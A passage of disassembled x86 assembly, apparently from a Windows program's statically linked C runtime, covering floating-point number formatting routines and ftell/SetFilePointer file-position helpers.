mov [ebp+var_1C], 0
loc_425C54: ; CODE XREF: sub_425C00+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425C00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C60 proc near ; CODE XREF: sub_419870+Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push offset aKernel32 ; "KERNEL32"
call dword_4E0360 ; GetModuleHandleA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_425C99
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
mov eax, [ebp+var_4]
push eax
call dword_4E0380 ; GetProcAddress
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_425C99
push 0
call [ebp+var_8]
jmp short loc_425C9E
; ---------------------------------------------------------------------------
loc_425C99: ; CODE XREF: sub_425C60+18j
; sub_425C60+30j
call sub_425C00
loc_425C9E: ; CODE XREF: sub_425C60+37j
mov esp, ebp
pop ebp
retn
sub_425C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425CB0 proc near ; CODE XREF: sub_4209A0+6CFp
; DATA XREF: sub_4198B0+21o ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_41A690
add esp, 4
cmp eax, 65h
jz short loc_425D10
loc_425CCA: ; CODE XREF: sub_425CB0+5Ej
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp dword_447480, 1
jle short loc_425CF2
push 4
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_C], eax
jmp short loc_425D0A
; ---------------------------------------------------------------------------
loc_425CF2: ; CODE XREF: sub_425CB0+2Aj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_C], edx
loc_425D0A: ; CODE XREF: sub_425CB0+40j
cmp [ebp+var_C], 0
jnz short loc_425CCA
loc_425D10: ; CODE XREF: sub_425CB0+18j
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_0]
mov al, byte_447484
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_425D2B: ; CODE XREF: sub_425CB0+A2j
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
mov dl, [ebp+var_8]
mov [ecx], dl
mov al, [ebp+var_4]
mov [ebp+var_8], al
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jnz short loc_425D2B
mov esp, ebp
pop ebp
retn
sub_425CB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425D60 proc near ; CODE XREF: sub_4209A0+6F1p
; DATA XREF: sub_4198B0+Do ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_425D64: ; CODE XREF: sub_425D60+28j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_425D8A
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
movsx ecx, byte_447484
cmp eax, ecx
jz short loc_425D8A
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_425D64
; ---------------------------------------------------------------------------
loc_425D8A: ; CODE XREF: sub_425D60+Cj
; sub_425D60+1Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
test ecx, ecx
jz loc_425E33
loc_425DA1: ; CODE XREF: sub_425D60+6Aj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_425DCC
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 65h
jz short loc_425DCC
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 45h
jz short loc_425DCC
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_425DA1
; ---------------------------------------------------------------------------
loc_425DCC: ; CODE XREF: sub_425D60+49j
; sub_425D60+54j ...
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
loc_425DDB: ; CODE XREF: sub_425D60+8Fj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jnz short loc_425DF1
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
jmp short loc_425DDB
; ---------------------------------------------------------------------------
loc_425DF1: ; CODE XREF: sub_425D60+84j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
movsx edx, byte_447484
cmp ecx, edx
jnz short loc_425E0B
mov eax, [ebp+arg_0]
sub eax, 1
mov [ebp+arg_0], eax
loc_425E0B: ; CODE XREF: sub_425D60+A0j
; sub_425D60+D1j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
test eax, eax
jz short loc_425E33
jmp short loc_425E0B
; ---------------------------------------------------------------------------
loc_425E33: ; CODE XREF: sub_425D60+3Bj
; sub_425D60+CFj
mov esp, ebp
pop ebp
retn
sub_425D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E40 proc near ; DATA XREF: sub_4198B0+2Bo
; .data:off_447848o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fcomp dbl_4352F0
fnstsw ax
test ah, 1
jnz short loc_425E5F
mov [ebp+var_4], 1
jmp short loc_425E66
; ---------------------------------------------------------------------------
loc_425E5F: ; CODE XREF: sub_425E40+14j
mov [ebp+var_4], 0
loc_425E66: ; CODE XREF: sub_425E40+1Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_425E40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E70 proc near ; CODE XREF: sub_4236C0+1138p
; DATA XREF: sub_4198B0+17o ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_425E9C
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_8]
push ecx
call sub_42B9B0
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx], eax
mov ecx, [ebp+var_4]
mov [edx+4], ecx
jmp short loc_425EB4
; ---------------------------------------------------------------------------
loc_425E9C: ; CODE XREF: sub_425E70+Aj
mov edx, [ebp+arg_8]
push edx
lea eax, [ebp+var_C]
push eax
call sub_42BA30
add esp, 8
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_425EB4: ; CODE XREF: sub_425E70+2Aj
mov esp, ebp
pop ebp
retn
sub_425E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425EC0 proc near ; CODE XREF: sub_426350+1Fp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42BB70
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
add ecx, 1
push ecx
mov edx, [ebp+var_4]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
xor edx, edx
cmp [ebp+arg_8], 0
setnle dl
add ecx, edx
push ecx
call sub_42BA70
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_425F40
add esp, 14h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_425EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F40 proc near ; CODE XREF: sub_425EC0+67p
; sub_426260+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 8
movsx eax, [ebp+arg_10]
test eax, eax
jz short loc_425F77
mov ecx, [ebp+arg_C]
xor edx, edx
cmp dword ptr [ecx], 2Dh
setz dl
mov eax, [ebp+arg_0]
add eax, edx
mov [ebp+var_4], eax
xor ecx, ecx
cmp [ebp+arg_4], 0
setnle cl
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4263B0
add esp, 8
loc_425F77: ; CODE XREF: sub_425F40+Cj
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 2Dh
jnz short loc_425F94
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_425F94: ; CODE XREF: sub_425F40+43j
cmp [ebp+arg_4], 0
jle short loc_425FB8
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov al, byte_447484
mov [edx], al
loc_425FB8: ; CODE XREF: sub_425F40+58j
push offset aE000 ; "e+000"
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
movsx edx, [ebp+arg_10]
neg edx
sbb edx, edx
inc edx
add ecx, edx
push ecx
call sub_418870
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+arg_8], 0
jz short loc_425FE6
mov eax, [ebp+var_4]
mov byte ptr [eax], 45h
loc_425FE6: ; CODE XREF: sub_425F40+9Ej
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jz loc_42609F
mov edx, [ebp+arg_C]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_426021
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
loc_426021: ; CODE XREF: sub_425F40+D1j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 64h
jl short loc_426055
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_8], edx
loc_426055: ; CODE XREF: sub_425F40+EEj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
cmp [ebp+var_8], 0Ah
jl short loc_426089
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+var_8], edx
loc_426089: ; CODE XREF: sub_425F40+122j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, byte ptr [ebp+var_8]
mov edx, [ebp+var_4]
mov [edx], cl
loc_42609F: ; CODE XREF: sub_425F40+BBj
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_425F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4260B0 proc near ; CODE XREF: sub_426350+3Bp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42BB70
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
add edx, [ecx+4]
push edx
mov eax, [ebp+var_4]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_4]
add edx, ecx
push edx
call sub_42BA70
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_426120
add esp, 10h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_4260B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426120 proc near ; CODE XREF: sub_4260B0+5Bp
; sub_426260+D9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_8], ecx
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_426173
mov eax, [ebp+arg_8]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_0]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnz short loc_426173
mov ecx, [ebp+var_4]
add ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 30h
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0
loc_426173: ; CODE XREF: sub_426120+18j
; sub_426120+33j
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 2Dh
jnz short loc_426190
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_426190: ; CODE XREF: sub_426120+5Fj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jg short loc_4261B8
push 1
mov ecx, [ebp+var_4]
push ecx
call sub_4263B0
add esp, 8
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_4261C4
; ---------------------------------------------------------------------------
loc_4261B8: ; CODE XREF: sub_426120+77j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+4]
mov [ebp+var_4], edx
loc_4261C4: ; CODE XREF: sub_426120+96j
cmp [ebp+arg_4], 0
jle loc_426256
push 1
mov eax, [ebp+var_4]
push eax
call sub_4263B0
add esp, 8
mov ecx, [ebp+var_4]
mov dl, byte_447484
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+4], 0
jge short loc_426256
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_42620E
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
neg ecx
mov [ebp+arg_4], ecx
jmp short loc_426234
; ---------------------------------------------------------------------------
loc_42620E: ; CODE XREF: sub_426120+DFj
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
cmp [ebp+arg_4], eax
jge short loc_426223
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
jmp short loc_42622E
; ---------------------------------------------------------------------------
loc_426223: ; CODE XREF: sub_426120+F9j
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
mov [ebp+var_10], eax
loc_42622E: ; CODE XREF: sub_426120+101j
mov ecx, [ebp+var_10]
mov [ebp+arg_4], ecx
loc_426234: ; CODE XREF: sub_426120+ECj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
push eax
call sub_4263B0
add esp, 8
mov ecx, [ebp+arg_4]
push ecx
push 30h
mov edx, [ebp+var_4]
push edx
call sub_417700
add esp, 0Ch
loc_426256: ; CODE XREF: sub_426120+A8j
; sub_426120+D7j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_426120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426260 proc near ; CODE XREF: sub_426350+55p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
mov [ebp+var_30], 0
lea eax, [ebp+var_14]
mov [ebp+var_38], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42BB70
add esp, 10h
mov eax, [ebp+var_38]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_34], ecx
mov edx, [ebp+var_38]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_42BA70
add esp, 0Ch
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
xor ecx, ecx
cmp [ebp+var_34], eax
setl cl
mov [ebp+var_30], cl
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFCh
jl short loc_4262EB
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_8]
jl short loc_426307
loc_4262EB: ; CODE XREF: sub_426260+81j
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_425F40
add esp, 14h
jmp short loc_426341
; ---------------------------------------------------------------------------
loc_426307: ; CODE XREF: sub_426260+89j
movsx eax, [ebp+var_30]
test eax, eax
jz short loc_42632B
loc_42630F: ; CODE XREF: sub_426260+C2j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
test edx, edx
jz short loc_426324
jmp short loc_42630F
; ---------------------------------------------------------------------------
loc_426324: ; CODE XREF: sub_426260+C0j
mov ecx, [ebp+var_4]
mov byte ptr [ecx-2], 0
loc_42632B: ; CODE XREF: sub_426260+ADj
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_426120
add esp, 10h
loc_426341: ; CODE XREF: sub_426260+A5j
mov esp, ebp
pop ebp
retn
sub_426260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426350 proc near ; CODE XREF: sub_4209A0+6ADp
; DATA XREF: sub_4198B0+3o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42635F
cmp [ebp+arg_8], 45h
jnz short loc_426379
loc_42635F: ; CODE XREF: sub_426350+7j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_425EC0
add esp, 10h
jmp short loc_4263AD
; ---------------------------------------------------------------------------
loc_426379: ; CODE XREF: sub_426350+Dj
cmp [ebp+arg_8], 66h
jnz short loc_426395
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4260B0
add esp, 0Ch
jmp short loc_4263AD
; ---------------------------------------------------------------------------
loc_426395: ; CODE XREF: sub_426350+2Dj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_426260
add esp, 10h
loc_4263AD: ; CODE XREF: sub_426350+27j
; sub_426350+43j
pop ebp
retn
sub_426350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263B0 proc near ; CODE XREF: sub_425F40+2Fp
; sub_426120+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_4263DC
mov eax, [ebp+arg_0]
push eax
call sub_414EC0
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_4]
push edx
call sub_419A90
add esp, 0Ch
loc_4263DC: ; CODE XREF: sub_4263B0+7j
pop ebp
retn
sub_4263B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263E0 proc near ; CODE XREF: sub_41A040+10Ep
; sub_420720+216p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb short loc_426411
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42642C
loc_426411: ; CODE XREF: sub_4263E0+Dj
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42645E
; ---------------------------------------------------------------------------
loc_42642C: ; CODE XREF: sub_4263E0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4299C0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_426470
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_429A50
add esp, 4
mov eax, [ebp+var_4]
loc_42645E: ; CODE XREF: sub_4263E0+4Aj
mov esp, ebp
pop ebp
retn
sub_4263E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426470 proc near ; CODE XREF: sub_41FD80+40Dp
; sub_4263E0+64p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_429840
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_42649E
call sub_4224D0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42651E
; ---------------------------------------------------------------------------
loc_42649E: ; CODE XREF: sub_426470+19j
mov ecx, [ebp+arg_8]
push ecx
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_C]
push eax
call dword_4E03F0 ; SetFilePointer
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_4264C6
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_4264CD
; ---------------------------------------------------------------------------
loc_4264C6: ; CODE XREF: sub_426470+49j
mov [ebp+var_4], 0
loc_4264CD: ; CODE XREF: sub_426470+54j
cmp [ebp+var_4], 0
jz short loc_4264E4
mov ecx, [ebp+var_4]
push ecx
call sub_422430
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42651E
; ---------------------------------------------------------------------------
loc_4264E4: ; CODE XREF: sub_426470+61j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
mov dl, [ecx+eax+4]
and dl, 0FDh
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_4DE320[eax*4]
mov [eax+ecx+4], dl
mov eax, [ebp+var_8]
loc_42651E: ; CODE XREF: sub_426470+29j
; sub_426470+72j
mov esp, ebp
pop ebp
retn
sub_426470 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_426537: ; CODE XREF: .data:0042655Fj
cmp dword ptr [ebp+8], 0
jnz short loc_42655B
push offset dword_43449C
push 0
push 32h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_42655B
int 3 ; Trap to Debugger
loc_42655B: ; CODE XREF: .data:0042653Bj
; .data:00426558j
xor eax, eax
test eax, eax
jnz short loc_426537
mov ecx, [ebp+8]
push ecx
call sub_41AE20
add esp, 4
mov edx, [ebp+8]
push edx
call sub_4265A0
add esp, 4
mov [ebp-4], eax
mov eax, [ebp+8]
push eax
call sub_41AE90
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265A0 proc near ; CODE XREF: sub_41A040+87p
; .data:00426571p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
loc_4265A9: ; CODE XREF: sub_4265A0+31j
cmp [ebp+arg_0], 0
jnz short loc_4265CD
push offset dword_4344AC
push 0
push 63h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4265CD
int 3 ; Trap to Debugger
loc_4265CD: ; CODE XREF: sub_4265A0+Dj
; sub_4265A0+2Aj
xor eax, eax
test eax, eax
jnz short loc_4265A9
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov eax, [edx+10h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jge short loc_4265F5
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
loc_4265F5: ; CODE XREF: sub_4265A0+49j
push 1
push 0
mov eax, [ebp+var_8]
push eax
call sub_4263E0
add esp, 0Ch
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jge short loc_426616
or eax, 0FFFFFFFFh
jmp loc_426833
; ---------------------------------------------------------------------------
loc_426616: ; CODE XREF: sub_4265A0+6Cj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jnz short loc_426636
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
sub ecx, [eax+4]
mov eax, ecx
jmp loc_426833
; ---------------------------------------------------------------------------
loc_426636: ; CODE XREF: sub_4265A0+84j
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 3
test eax, eax
jz short loc_4266AC
mov ecx, [ebp+var_8]
sar ecx, 5
mov edx, [ebp+var_8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz short loc_4266AA
mov edx, [ebp+var_C]
mov eax, [edx+8]
mov [ebp+var_4], eax
jmp short loc_42668A
